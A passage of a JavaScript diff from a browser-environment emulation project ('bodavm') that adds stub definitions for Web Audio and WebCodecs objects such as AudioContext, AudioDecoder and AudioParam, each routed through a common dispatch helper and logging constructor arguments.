set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioContext', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioContext', "createMediaElementSource", { + configurable: true, + enumerable: true, + writable: true, + value: function createMediaElementSource() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "createMediaElementSource", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioContext', "createMediaStreamDestination", { + configurable: true, + enumerable: true, + writable: true, + value: function createMediaStreamDestination() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "createMediaStreamDestination", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioContext', "createMediaStreamSource", { + configurable: true, + enumerable: true, + writable: true, + value: function createMediaStreamSource() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "createMediaStreamSource", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioContext', "getOutputTimestamp", { + configurable: true, + enumerable: true, + writable: true, + value: function getOutputTimestamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "getOutputTimestamp", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioContext', "resume", { + configurable: true, + enumerable: true, + writable: true, + value: function resume() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "resume", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioContext', "suspend", { + configurable: true, + enumerable: true, + writable: true, + value: function suspend() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "suspend", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioContext', "sinkId", { + configurable: true, + enumerable: true, + get: function sinkId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "sinkId_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioContext', "onsinkchange", { + configurable: true, + enumerable: true, + get: function onsinkchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "onsinkchange_get", arguments); + }, + set: function onsinkchange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "onsinkchange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioContext', "setSinkId", { + configurable: true, + enumerable: true, + writable: true, + value: function setSinkId() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioContext'].prototype, "AudioContext", "setSinkId", arguments); + } +}, 'prototype'); +// AudioData对象 + +bodavm.memory.globalobj['AudioData'] = function AudioData() { + console.log_copy('AudioData 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioData)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioData': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioData'], "AudioData"); +bodavm.toolsFunc.defineProperty('AudioData', "format", { + configurable: true, + enumerable: true, + get: function format() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "format_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioData', "sampleRate", { + configurable: true, + enumerable: true, + get: function sampleRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "sampleRate_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioData', "numberOfFrames", { + configurable: true, + enumerable: true, + get: function numberOfFrames() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "numberOfFrames_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioData', "numberOfChannels", { + configurable: true, + enumerable: true, + get: function numberOfChannels() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "numberOfChannels_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioData', "duration", { + configurable: true, + enumerable: true, + get: function duration() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "duration_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioData', "timestamp", { + configurable: true, + enumerable: true, + get: function timestamp() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "timestamp_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioData', "allocationSize", { + configurable: true, + enumerable: true, + writable: true, + value: function allocationSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "allocationSize", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioData', "clone", { + configurable: true, + enumerable: true, + writable: true, + value: function clone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "clone", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioData', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioData', "copyTo", { + configurable: true, + enumerable: true, + writable: true, + value: function copyTo() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioData'].prototype, "AudioData", "copyTo", arguments); + } +}, 'prototype'); +// AudioDecoder对象 + +bodavm.memory.globalobj['AudioDecoder'] = function AudioDecoder() { + console.log_copy('AudioDecoder 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioDecoder)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioDecoder': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioDecoder'], "AudioDecoder"); +bodavm.memory.globalobj['AudioDecoder'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['AudioDecoder'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('AudioDecoder', "isConfigSupported", { + configurable: true, + enumerable: true, + writable: true, + value: function isConfigSupported() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].undefined, "AudioDecoder", "isConfigSupported", arguments); + } +}); +bodavm.toolsFunc.defineProperty('AudioDecoder', "decodeQueueSize", { + configurable: true, + enumerable: true, + get: function decodeQueueSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "decodeQueueSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioDecoder', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioDecoder', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioDecoder', "configure", { + configurable: true, + enumerable: true, + writable: true, + value: function configure() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "configure", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioDecoder', "decode", { + configurable: true, + enumerable: true, + writable: true, + value: function decode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "decode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioDecoder', "flush", { + configurable: true, + enumerable: true, + writable: true, + value: function flush() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "flush", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioDecoder', "reset", { + configurable: true, + enumerable: true, + writable: true, + value: function reset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "reset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioDecoder', "ondequeue", { + configurable: true, + enumerable: true, + get: function ondequeue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "ondequeue_get", arguments); + }, + set: function ondequeue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDecoder'].prototype, "AudioDecoder", "ondequeue_set", arguments); + } +}, 'prototype'); +// AudioDestinationNode对象 + +bodavm.memory.globalobj['AudioDestinationNode'] = function AudioDestinationNode() { + console.log_copy('AudioDestinationNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioDestinationNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioDestinationNode'], "AudioDestinationNode"); +bodavm.memory.globalobj['AudioDestinationNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['AudioDestinationNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('AudioDestinationNode', "maxChannelCount", { + configurable: true, + enumerable: true, + get: function maxChannelCount() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioDestinationNode'].prototype, "AudioDestinationNode", "maxChannelCount_get", arguments); + }, + set: undefined +}, 'prototype'); +// AudioEncoder对象 + +bodavm.memory.globalobj['AudioEncoder'] = function AudioEncoder() { + console.log_copy('AudioEncoder 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioEncoder)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioEncoder': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioEncoder'], "AudioEncoder"); +bodavm.memory.globalobj['AudioEncoder'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['AudioEncoder'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('AudioEncoder', "isConfigSupported", { + configurable: true, + enumerable: true, + writable: true, + value: function isConfigSupported() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].undefined, "AudioEncoder", "isConfigSupported", arguments); + } +}); +bodavm.toolsFunc.defineProperty('AudioEncoder', "encodeQueueSize", { + configurable: true, + enumerable: true, + get: function encodeQueueSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "encodeQueueSize_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioEncoder', "state", { + configurable: true, + enumerable: true, + get: function state() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "state_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioEncoder', "close", { + configurable: true, + enumerable: true, + writable: true, + value: function close() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "close", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioEncoder', "configure", { + configurable: true, + enumerable: true, + writable: true, + value: function configure() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "configure", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioEncoder', "encode", { + configurable: true, + enumerable: true, + writable: true, + value: function encode() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "encode", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioEncoder', "flush", { + configurable: true, + enumerable: true, + writable: true, + value: function flush() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "flush", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioEncoder', "reset", { + configurable: true, + enumerable: true, + writable: true, + value: function reset() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "reset", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioEncoder', "ondequeue", { + configurable: true, + enumerable: true, + get: function ondequeue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "ondequeue_get", arguments); + }, + set: function ondequeue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioEncoder'].prototype, "AudioEncoder", "ondequeue_set", arguments); + } +}, 'prototype'); +// AudioListener对象 + +bodavm.memory.globalobj['AudioListener'] = function AudioListener() { + console.log_copy('AudioListener 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioListener)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioListener'], "AudioListener"); +bodavm.toolsFunc.defineProperty('AudioListener', "positionX", { + configurable: true, + enumerable: true, + get: function positionX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "positionX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioListener', "positionY", { + configurable: true, + enumerable: true, + get: function positionY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "positionY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioListener', "positionZ", { + configurable: true, + enumerable: true, + get: function positionZ() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "positionZ_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioListener', "forwardX", { + configurable: true, + enumerable: true, + get: function forwardX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "forwardX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioListener', "forwardY", { + configurable: true, + enumerable: true, + get: function forwardY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "forwardY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioListener', "forwardZ", { + configurable: true, + enumerable: true, + get: function forwardZ() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "forwardZ_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioListener', "upX", { + configurable: true, + enumerable: true, + get: function upX() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "upX_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioListener', "upY", { + configurable: true, + enumerable: true, + get: function upY() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "upY_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioListener', "upZ", { + configurable: true, + enumerable: true, + get: function upZ() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "upZ_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioListener', "setOrientation", { + configurable: true, + enumerable: true, + writable: true, + value: function setOrientation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "setOrientation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioListener', "setPosition", { + configurable: true, + enumerable: true, + writable: true, + value: function setPosition() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioListener'].prototype, "AudioListener", "setPosition", arguments); + } +}, 'prototype'); +// AudioParam对象 + +bodavm.memory.globalobj['AudioParam'] = function AudioParam() { + console.log_copy('AudioParam 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioParam)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioParam'], "AudioParam"); +bodavm.toolsFunc.defineProperty('AudioParam', "value", { + configurable: true, + enumerable: true, + get: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "value_get", arguments); + }, + set: function value() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "value_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParam', "automationRate", { + configurable: true, + enumerable: true, + get: function automationRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "automationRate_get", arguments); + }, + set: function automationRate() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "automationRate_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParam', "defaultValue", { + configurable: true, + enumerable: true, + get: function defaultValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "defaultValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParam', "minValue", { + configurable: true, + enumerable: true, + get: function minValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "minValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParam', "maxValue", { + configurable: true, + enumerable: true, + get: function maxValue() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "maxValue_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParam', "cancelAndHoldAtTime", { + configurable: true, + enumerable: true, + writable: true, + value: function cancelAndHoldAtTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "cancelAndHoldAtTime", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParam', "cancelScheduledValues", { + configurable: true, + enumerable: true, + writable: true, + value: function cancelScheduledValues() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "cancelScheduledValues", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParam', "exponentialRampToValueAtTime", { + configurable: true, + enumerable: true, + writable: true, + value: function exponentialRampToValueAtTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "exponentialRampToValueAtTime", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParam', "linearRampToValueAtTime", { + configurable: true, + enumerable: true, + writable: true, + value: function linearRampToValueAtTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "linearRampToValueAtTime", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParam', "setTargetAtTime", { + configurable: true, + enumerable: true, + writable: true, + value: function setTargetAtTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "setTargetAtTime", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParam', "setValueAtTime", { + configurable: true, + enumerable: true, + writable: true, + value: function setValueAtTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "setValueAtTime", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParam', "setValueCurveAtTime", { + configurable: true, + enumerable: true, + writable: true, + value: function setValueCurveAtTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParam'].prototype, "AudioParam", "setValueCurveAtTime", arguments); + } +}, 'prototype'); +// AudioParamMap对象 + +bodavm.memory.globalobj['AudioParamMap'] = function AudioParamMap() { + console.log_copy('AudioParamMap 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioParamMap)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioParamMap'], "AudioParamMap"); +bodavm.toolsFunc.defineProperty('AudioParamMap', "size", { + configurable: true, + enumerable: true, + get: function size() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "size_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParamMap', "entries", { + configurable: true, + enumerable: true, + writable: true, + value: function entries() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "entries", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParamMap', "forEach", { + configurable: true, + enumerable: true, + writable: true, + value: function forEach() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "forEach", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParamMap', "get", { + configurable: true, + enumerable: true, + writable: true, + value: function get() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "get", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParamMap', "has", { + configurable: true, + enumerable: true, + writable: true, + value: function has() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "has", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParamMap', "keys", { + configurable: true, + enumerable: true, + writable: true, + value: function keys() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "keys", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioParamMap', "values", { + configurable: true, + enumerable: true, + writable: true, + value: function values() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioParamMap'].prototype, "AudioParamMap", "values", arguments); + } +}, 'prototype'); +// AudioProcessingEvent对象 + +bodavm.memory.globalobj['AudioProcessingEvent'] = function AudioProcessingEvent() { + console.log_copy('AudioProcessingEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioProcessingEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioProcessingEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioProcessingEvent'], "AudioProcessingEvent"); +bodavm.memory.globalobj['AudioProcessingEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['AudioProcessingEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('AudioProcessingEvent', "playbackTime", { + configurable: true, + enumerable: true, + get: function playbackTime() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioProcessingEvent'].prototype, "AudioProcessingEvent", "playbackTime_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioProcessingEvent', "inputBuffer", { + configurable: true, + enumerable: true, + get: function inputBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioProcessingEvent'].prototype, "AudioProcessingEvent", "inputBuffer_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioProcessingEvent', "outputBuffer", { + configurable: true, + enumerable: true, + get: function outputBuffer() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioProcessingEvent'].prototype, "AudioProcessingEvent", "outputBuffer_get", arguments); + }, + set: undefined +}, 'prototype'); +// AudioSinkInfo对象 + +bodavm.memory.globalobj['AudioSinkInfo'] = function AudioSinkInfo() { + console.log_copy('AudioSinkInfo 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioSinkInfo)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioSinkInfo'], "AudioSinkInfo"); +bodavm.toolsFunc.defineProperty('AudioSinkInfo', "type", { + configurable: true, + enumerable: true, + get: function type() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioSinkInfo'].prototype, "AudioSinkInfo", "type_get", arguments); + }, + set: undefined +}, 'prototype'); +// AudioWorklet对象 + +bodavm.memory.globalobj['AudioWorklet'] = function AudioWorklet() { + console.log_copy('AudioWorklet 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioWorklet)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioWorklet'], "AudioWorklet"); +bodavm.memory.globalobj['AudioWorklet'].prototype.__proto__ = bodavm.memory.globalobj['Worklet'].prototype; +bodavm.memory.globalobj['AudioWorklet'].__proto__ = bodavm.memory.globalobj['Worklet']; +// AudioWorkletNode对象 + +bodavm.memory.globalobj['AudioWorkletNode'] = function AudioWorkletNode() { + console.log_copy('AudioWorkletNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof AudioWorkletNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'AudioWorkletNode': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['AudioWorkletNode'], "AudioWorkletNode"); +bodavm.memory.globalobj['AudioWorkletNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['AudioWorkletNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('AudioWorkletNode', "parameters", { + configurable: true, + enumerable: true, + get: function parameters() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioWorkletNode'].prototype, "AudioWorkletNode", "parameters_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioWorkletNode', "port", { + configurable: true, + enumerable: true, + get: function port() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioWorkletNode'].prototype, "AudioWorkletNode", "port_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('AudioWorkletNode', "onprocessorerror", { + configurable: true, + enumerable: true, + get: function onprocessorerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioWorkletNode'].prototype, "AudioWorkletNode", "onprocessorerror_get", arguments); + }, + set: function onprocessorerror() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['AudioWorkletNode'].prototype, "AudioWorkletNode", "onprocessorerror_set", arguments); + } +}, 'prototype'); +// AuthenticatorAssertionResponse对象 + +bodavm.memory.globalobj['AuthenticatorAssertionResponse'] = function AuthenticatorAssertionResponse() { + console.log_copy('AuthenticatorAssertionResponse 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this 